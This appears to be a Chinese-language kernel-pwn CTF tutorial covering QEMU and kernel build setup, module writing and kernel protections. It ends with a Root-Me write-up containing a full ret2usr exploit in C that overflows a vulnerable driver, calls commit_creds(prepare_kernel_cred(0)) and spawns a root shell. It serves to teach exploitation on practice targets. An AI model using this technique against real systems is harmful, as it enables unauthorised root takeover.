0x00 Setup

基础概念

vmlinux 是未压缩的可执行内核文件

vmlinuz 是压缩后的可执行文件 包括bzimage\zimage

initrd (initial ramdisk)是用于启动时临时引导硬件到内核的临时文件系统

内核向下控制管理硬件,向上提供应用运行环境

源码阅读 https://elixir.bootlin.com

运行环境

apt-get install qemu-system

启动命令示例

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

调试

-s 选项打开gdb:1234调试

qemu-system-i386 -kernel ./bzImage -append "console=ttyS0 oops=panic panic=1" -initrd ./rootfs  -nographic -s
gdb -q
(gdb) set arch i386:x86-64                  
(gdb) target remote localhost:1234

文件系统

将busybox或其他文件系统通过cpio打包即可,qemu启动时直接作为initrd启动

启动后根目录下的init脚本会被执行

find . | cpio -o -H newc > ./rootfs

编译内核

编译环境

坑:在Ubuntu新的版本中’ncurses-devel’是以’libncurses5-dev’命名的 sudo apt-get install ncurses-devel 定位不到包

sudo apt install libncurses5-dev ncurses-dev

sudo apt-get install libncurses* build-essential openssl zlibc minizip libidn11-dev libidn11 libssl-dev flex libncurses5-dev

下载源码

wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.5.6.tar.xz

编译配置

make mrproper 
make menuconfig

配置好退出保存

make -j8 编译成vmlinux文件

make -j8 bzImage 编译成bzImage文件

开始漫长的编译

清理现场

make clean

内核模块

赛题中的kernel pwn出题点多在LKM的漏洞利用上

也是编译成可执行文件,但只能运行在内核上

补充Linux内核的功能,包括 文件系统或设备驱动等

#include <linux/module.h> 
#include <linux/init.h>   
#include <linux/kernel.h>
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("23333");
MODULE_DESCRIPTION("hello world module");
 
static int __init hello_init(void)
{
      printk(KERN_WARNING "hello world.\n");
      return 0;
}
static void __exit hello_exit(void)
{
      printk(KERN_WARNING "hello exit!\n");
}
 
module_init(hello_init);
module_exit(hello_exit);

编译内核模块

obj-m := hello.o
KERNELBUILD := /home/xxx/linux-5.5.6
CURDIR := /home/xxx/Linux-Kernel/build/Test

modules:
    make -C $(KERNELBUILD) M=$(CURDIR) modules
clean:
    make -C $(KERNELBUILD) M=$(CURDIR) clean

内核模块的加载

insmod: 讲指定模块加载到内核中
rmmod: 从内核中卸载指定模块
lsmod: 列出已经加载的模块

内核使用的printk将输出打印到内核缓冲区而非标准输出

使用dmesg可以查看内核缓冲区的内容

找到赛题中的LKM

解压文件系统,看init文件,找到insmod的模块地址

内核机制

用户态运行于ring3

内核态运行于ring0

内核栈与用户栈是隔离的,传递参数时需要寄存器

切换的过程:

usr2kernel

  1. 通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
  2. 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入RSP/ESP
  3. 通过 push 保存各寄存器值
  4. 通过汇编指令判断是否为 x32_abi
  5. 通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。

kernel2usr

  1. 通过 swapgs 恢复 GS 值
  2. 通过 sysretq 或者 iretq 恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)

提权

修改进程权限结构体cred

commit_creds(prepare_kernel_cred(0))

函数符号表

cat /proc/kallsyms

模块节区表

/sys/module/模块

add-symbol-file 加载

保护机制

  1. smep 当处理器处于 ring 0 模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为 PXN)
  2. smap 当处理器处于 ring 0 模式,访问用户空间的数据会触发页错误。
  3. MMAP_MIN_ADDR 控制着mmap能够映射的最低内存地址,防止用户非法分配并访问低地址数据
  4. KASLR 内核地址空间布局随机化 允许kernel image加载到VMALLOC区域的任何位置

0x01 ret2usr

[Root-Me]LinKern x86 – Buffer overflow basic 1

拿到ko后缀的内核模块,拖进ida直接看

write行为中,copy_from_usr存在溢出

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

//ret2usr时的恢复信息
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
static char receive[256];
//ret2usr后执行的shell
void get_shell(void){
    execl("/bin/sh", "sh", NULL);
}
//伪造现场信息
void init_tf_work(void){
    asm("pushl %cs;popl tf+4;"    //set cs
        "pushfl;popl tf+8;"       //set eflags
        "pushl %esp;popl tf+12;"
        "pushl %ss;popl tf+16;");
    tf.eip = &get_shell;
    tf.esp -= 1024;
}
//提权
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;
void payload(void){
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
          "iret;");
}

int main(void){
    char Padding[9] = "AAAAAAAA";
    char Eip[5];
    init_tf_work();
    int fd = open("/dev/tostring",2);
    for(int i = 0;i < 0x40; i++)
        write(fd,Padding,sizeof(Padding));
    write(1,"OK!n",sizeof(Eip));
    *((void**)(Eip)) = &payload;
    write(fd,Eip,sizeof(Eip));
    read(fd,receive,255);
    return 0;
}